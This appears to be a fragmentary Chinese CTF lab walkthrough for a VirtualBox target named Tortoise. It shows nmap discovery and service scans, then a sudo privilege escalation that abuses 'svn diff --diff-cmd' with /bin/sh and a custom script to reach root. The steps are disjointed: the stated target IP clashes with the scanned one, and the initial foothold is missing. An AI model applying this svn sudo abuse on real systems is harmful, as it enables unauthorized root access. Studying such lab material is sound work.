┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 12:36 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00047s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00044s latency). MAC Address: 08:00:27:8E:AB:36 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.63 Host is up (0.00070s latency). MAC Address: 08:00:27:6F:93:5E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.54 seconds
靶机IP:192.168.2.70
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.63 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 12:36 +0800 Nmap scan report for 192.168.2.63 Host is up (0.00057s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3690/tcp open svn MAC Address: 08:00:27:6F:93:5E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80,3690 192.168.2.63 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 12:37 +0800 Nmap scan report for 192.168.2.63 Host is up (0.00059s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0 (protocol 2.0) 80/tcp open http nginx | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-title: Tortoise 3690/tcp open svnserve Subversion MAC Address: 08:00:27:6F:93:5E (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.16 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.63 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 12:37 +0800 Nmap scan report for 192.168.2.63 Host is up (0.00065s latency). All 100 scanned ports on 192.168.2.63 are in ignored states. Not shown: 59 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response) MAC Address: 08:00:27:6F:93:5E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 58.74 seconds
Tortoise:~$ sudo -l [sudo] password for onehang: Matching Defaults entries for onehang on Tortoise: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for onehang: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User onehang may run the following commands on Tortoise: (ALL : ALL) /usr/bin/svn PWD_PATH=$(pwd) svnadmin create "$PWD_PATH/toroot" svn checkout "file://$PWD_PATH/toroot" cd toroot2 touch play svn add play sudo svn diff --diff-cmd /bin/sh play nano toroot.sh chmod +x toroot.sh cat toroot.sh sudo svn add toroot.sh sudo /usr/bin/svn diff --diff-cmd /home/onehang/toroot2/toroot.sh /home/onehang/toroot2/play